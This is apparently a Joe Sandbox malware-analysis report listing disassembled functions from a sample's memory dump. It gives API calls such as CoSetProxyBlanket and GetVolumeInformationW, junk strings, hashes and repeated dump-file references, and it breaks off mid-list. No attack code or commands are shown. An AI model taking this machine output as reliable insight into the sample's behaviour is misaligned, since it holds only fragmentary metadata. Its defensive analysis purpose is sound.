Function 003A9280 Relevance: 25.2, APIs: 5, Strings: 9, Instructions: 661
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SysAllocString.OLEAUT32(00001F7A), ref: 003A9551
CoSetProxyBlanket.COMBASE(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 003A958F
SysFreeString.OLEAUT32 ref: 003A98DF
SysFreeString.OLEAUT32(?), ref: 003A98E5
GetVolumeInformationW.KERNELBASE(?,00000000,00000000,00001F7A,00000000,00000000,00000000,00000000), ref: 003A992E

Strings

=hn, xrefs: 003A9676
SB, xrefs: 003A979E
gd, xrefs: 003A968E
z7, xrefs: 003A94D7, 003A972A, 003A98B0
:;$%, xrefs: 003A99C0
Jtuj, xrefs: 003A92E5
b{tu, xrefs: 003A92D9, 003A939B
t"j, xrefs: 003A966E
O^, xrefs: 003A97A6

Memory Dump Source

Source File: 00000000.00000002.2753026418.0000000000371000.00000040.00000001.01000000.00000003.sdmp, Offset: 00370000, based on PE: true

Associated: 00000000.00000002.2753001890.0000000000370000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753026418.00000000003B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753243745.00000000003C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753267792.00000000003CF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753288525.00000000003D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753310831.00000000003D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753407750.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753428617.000000000052E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753453479.000000000053E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753453479.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753504987.000000000057C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753525417.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753547537.0000000000585000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753568645.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753594664.00000000005A5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753615451.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753636825.00000000005B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753657894.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753679133.00000000005B3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753702178.00000000005B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753723290.00000000005BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753742031.00000000005C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753761958.00000000005CB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753780425.00000000005CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753798380.00000000005D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753825266.00000000005D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753851428.00000000005DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753902687.00000000005E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753929713.00000000005E1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753955342.00000000005E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753983371.00000000005F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754007940.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754007940.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754082876.000000000064C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754106585.000000000064D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754132285.000000000064E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754132285.0000000000654000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754184967.0000000000662000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754208196.0000000000663000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_370000_iaLId0uLUw.jbxd

Similarity

API ID: String$Free$AllocBlanketInformationProxyVolume
String ID: :;$%$=hn$Jtuj$O^$SB$b{tu$gd$z7$t"j
API String ID: 1773362589-885365193
Opcode ID: e5712500a55a78e815fac8531c7f1baa65fb18233e150b9b49fb401851ac37b3
Instruction ID: 2cc14b785a007d81305e3d648536156ed35f431f58d1893183f0293bea3cc9e6
Opcode Fuzzy Hash: e5712500a55a78e815fac8531c7f1baa65fb18233e150b9b49fb401851ac37b3
Instruction Fuzzy Hash: 5E223376A183019BD311CF24C880B5BBBE6EFC6314F29892DE594AB391D779D845CB82

Function 0037B100 Relevance: 20.4, Strings: 16, Instructions: 425
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

pE}G, xrefs: 0037B253
yQrS, xrefs: 0037B271
}KcU, xrefs: 0037B6DF
S%U', xrefs: 0037B203
k=W?, xrefs: 0037B23F
D!M#, xrefs: 0037B1F9
b6j4, xrefs: 0037B57D
XyR{, xrefs: 0037B2D5
(Y6[, xrefs: 0037B285
9]_, xrefs: 0037B28F
.AtC, xrefs: 0037B249
zMzO, xrefs: 0037B267
hI2K, xrefs: 0037B25D
Gu@w, xrefs: 0037B2CB
Ym]o, xrefs: 0037B2B7
Gq\s, xrefs: 0037B2C1

Memory Dump Source

Source File: 00000000.00000002.2753026418.0000000000371000.00000040.00000001.01000000.00000003.sdmp, Offset: 00370000, based on PE: true

Associated: 00000000.00000002.2753001890.0000000000370000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753026418.00000000003B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753243745.00000000003C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753267792.00000000003CF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753288525.00000000003D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753310831.00000000003D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753407750.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753428617.000000000052E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753453479.000000000053E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753453479.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753504987.000000000057C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753525417.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753547537.0000000000585000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753568645.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753594664.00000000005A5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753615451.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753636825.00000000005B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753657894.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753679133.00000000005B3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753702178.00000000005B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753723290.00000000005BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753742031.00000000005C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753761958.00000000005CB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753780425.00000000005CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753798380.00000000005D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753825266.00000000005D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753851428.00000000005DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753902687.00000000005E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753929713.00000000005E1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753955342.00000000005E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753983371.00000000005F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754007940.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754007940.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754082876.000000000064C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754106585.000000000064D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754132285.000000000064E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754132285.0000000000654000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754184967.0000000000662000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754208196.0000000000663000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_370000_iaLId0uLUw.jbxd

Similarity

API ID:
String ID: (Y6[$.AtC$9]_$D!M#$Gq\s$Gu@w$S%U'$XyR{$Ym]o$b6j4$hI2K$k=W?$pE}G$yQrS$zMzO$}KcU
API String ID: 0-18744084
Opcode ID: c6ac87dc32bbb14b94af2efdd056b2c199f1ac7f16ce506b2ad577e1a28f9e54
Instruction ID: c010b54e358b6da134a9ebd8995a1184ba515b19aad2fadcf0045d22ad8a4345
Opcode Fuzzy Hash: c6ac87dc32bbb14b94af2efdd056b2c199f1ac7f16ce506b2ad577e1a28f9e54
Instruction Fuzzy Hash: 3D0243B1200B01DFD725CF25D891B9BBBF5FB49318F508A2CD6AA8BAA0D735A445CF50

Function 003939B9 Relevance: 18.3, APIs: 2, Strings: 8, Instructions: 822
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

=]=_, xrefs: 00393D0E
+A#C, xrefs: 00393D15
p79, xrefs: 003938C0
#E#G, xrefs: 00393D1C
eN, xrefs: 003941BA
_^]\, xrefs: 00393865
":9, xrefs: 00393A0E
rp, xrefs: 00393FF3

Memory Dump Source

Source File: 00000000.00000002.2753026418.0000000000371000.00000040.00000001.01000000.00000003.sdmp, Offset: 00370000, based on PE: true

Associated: 00000000.00000002.2753001890.0000000000370000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753026418.00000000003B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753243745.00000000003C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753267792.00000000003CF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753288525.00000000003D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753310831.00000000003D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753407750.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753428617.000000000052E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753453479.000000000053E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753453479.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753504987.000000000057C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753525417.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753547537.0000000000585000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753568645.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753594664.00000000005A5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753615451.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753636825.00000000005B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753657894.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753679133.00000000005B3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753702178.00000000005B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753723290.00000000005BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753742031.00000000005C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753761958.00000000005CB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753780425.00000000005CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753798380.00000000005D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753825266.00000000005D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753851428.00000000005DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753902687.00000000005E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753929713.00000000005E1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753955342.00000000005E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753983371.00000000005F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754007940.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754007940.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754082876.000000000064C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754106585.000000000064D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754132285.000000000064E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754132285.0000000000654000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754184967.0000000000662000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754208196.0000000000663000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_370000_iaLId0uLUw.jbxd

Similarity

API ID:
String ID: ":9$#E#G$+A#C$=]=_$_^]\$eN$p79$rp
API String ID: 0-1318436034
Opcode ID: 15d89afa7cde8e1a4c5efc39dd35d0b89ae6addf7ba9883073533fed22a7ea1a
Instruction ID: 8862d2033d27097d7a09b38acd4bea1a05c7fe8542c20b9a30e59100bb14e47f
Opcode Fuzzy Hash: 15d89afa7cde8e1a4c5efc39dd35d0b89ae6addf7ba9883073533fed22a7ea1a
Instruction Fuzzy Hash: 1B425AB1A04201CFDB15CF68C8926AABBB2FF85314F1982ACD5459F396D738D942CBD0

Function 00381D2B Relevance: 18.0, APIs: 1, Strings: 9, Instructions: 479
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlExpandEnvironmentStrings.NTDLL ref: 00381EC3

Strings

|, xrefs: 00382267
?, xrefs: 00381EE2
8, xrefs: 00381EEA
y, xrefs: 00381EF2
p, xrefs: 00382095
a, xrefs: 003821E6
L, xrefs: 00381D8F
[, xrefs: 003821EB
^, xrefs: 00382034

Memory Dump Source

Source File: 00000000.00000002.2753026418.0000000000371000.00000040.00000001.01000000.00000003.sdmp, Offset: 00370000, based on PE: true

Associated: 00000000.00000002.2753001890.0000000000370000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753026418.00000000003B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753243745.00000000003C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753267792.00000000003CF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753288525.00000000003D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753310831.00000000003D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753407750.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753428617.000000000052E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753453479.000000000053E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753453479.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753504987.000000000057C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753525417.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753547537.0000000000585000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753568645.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753594664.00000000005A5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753615451.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753636825.00000000005B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753657894.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753679133.00000000005B3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753702178.00000000005B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753723290.00000000005BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753742031.00000000005C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753761958.00000000005CB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753780425.00000000005CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753798380.00000000005D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753825266.00000000005D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753851428.00000000005DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753902687.00000000005E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753929713.00000000005E1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753955342.00000000005E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753983371.00000000005F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754007940.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754007940.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754082876.000000000064C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754106585.000000000064D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754132285.000000000064E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754132285.0000000000654000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754184967.0000000000662000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754208196.0000000000663000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_370000_iaLId0uLUw.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: 8$?$L$[$^$a$p$y$|
API String ID: 237503144-3949209405
Opcode ID: 3ad9f5332ec573c479b8c47b3f4c7659843e60a936a7f48bc6c569740c3db66c
Instruction ID: b17d272151914a043583fc5b35fcd258f7cf21f3a61a4f7a5ea8e8567b567086
Opcode Fuzzy Hash: 3ad9f5332ec573c479b8c47b3f4c7659843e60a936a7f48bc6c569740c3db66c
Instruction Fuzzy Hash: C112A07550C7808BC376AF38C4953AFBBE5AF85320F154A6DE4D987782D6388845DB43

Function 0038C8A0 Relevance: 15.6, Strings: 12, Instructions: 585
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

*", xrefs: 0038CE7A
a`|v, xrefs: 0038C8A1
4UW, xrefs: 0038CCE0
MO, xrefs: 0038CD10
uvw, xrefs: 0038CA0A
#M%O, xrefs: 0038C9FA
wt, xrefs: 0038CB3E
AC, xrefs: 0038CCF8
pv, xrefs: 0038CB36
\701, xrefs: 0038CF55
"nl, xrefs: 0038CC10
\701, xrefs: 0038CF03, 0038CF0C

Memory Dump Source

Source File: 00000000.00000002.2753026418.0000000000371000.00000040.00000001.01000000.00000003.sdmp, Offset: 00370000, based on PE: true

Associated: 00000000.00000002.2753001890.0000000000370000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753026418.00000000003B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753243745.00000000003C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753267792.00000000003CF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753288525.00000000003D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753310831.00000000003D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753407750.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753428617.000000000052E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753453479.000000000053E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753453479.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753504987.000000000057C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753525417.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753547537.0000000000585000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753568645.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753594664.00000000005A5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753615451.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753636825.00000000005B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753657894.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753679133.00000000005B3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753702178.00000000005B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753723290.00000000005BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753742031.00000000005C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753761958.00000000005CB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753780425.00000000005CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753798380.00000000005D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753825266.00000000005D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753851428.00000000005DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753902687.00000000005E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753929713.00000000005E1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753955342.00000000005E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753983371.00000000005F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754007940.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754007940.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754082876.000000000064C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754106585.000000000064D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754132285.000000000064E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754132285.0000000000654000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754184967.0000000000662000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754208196.0000000000663000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_370000_iaLId0uLUw.jbxd

Similarity

API ID:
String ID: "nl$#M%O$*"$4UW$\701$\701$a`|v$wt$AC$MO$pv$uvw
API String ID: 0-635595044
Opcode ID: 07e246b6e9fb0ad6a6bee216fa0cc37020494441c6f608dc072a1c5a3342d996
Instruction ID: a79a1b8e437477af62b6e65737bcf6f179dc4975dbd2290180004b1b8cea6088
Opcode Fuzzy Hash: 07e246b6e9fb0ad6a6bee216fa0cc37020494441c6f608dc072a1c5a3342d996
Instruction Fuzzy Hash: 5102E1B191C3008BD715AF28D8916ABBBF1EFD1314F19996CF4C58B351E238DA09CB96

Function 003A8EA0 Relevance: 15.3, Strings: 12, Instructions: 287
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

\, xrefs: 003A8F4B
], xrefs: 003A905E
], xrefs: 003A8F46
\, xrefs: 003A9063
], xrefs: 003A9196
_, xrefs: 003A9054
_, xrefs: 003A918C
^, xrefs: 003A9191
^, xrefs: 003A9059
_, xrefs: 003A8F3C
^, xrefs: 003A8F41
\, xrefs: 003A919B

Memory Dump Source

Source File: 00000000.00000002.2753026418.0000000000371000.00000040.00000001.01000000.00000003.sdmp, Offset: 00370000, based on PE: true

Associated: 00000000.00000002.2753001890.0000000000370000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753026418.00000000003B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753243745.00000000003C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753267792.00000000003CF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753288525.00000000003D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753310831.00000000003D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753407750.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753428617.000000000052E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753453479.000000000053E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753453479.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753504987.000000000057C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753525417.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753547537.0000000000585000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753568645.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753594664.00000000005A5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753615451.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753636825.00000000005B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753657894.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753679133.00000000005B3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753702178.00000000005B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753723290.00000000005BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753742031.00000000005C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753761958.00000000005CB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753780425.00000000005CF000.00000040.00000001.01000000.00000003.sdmpDownload File
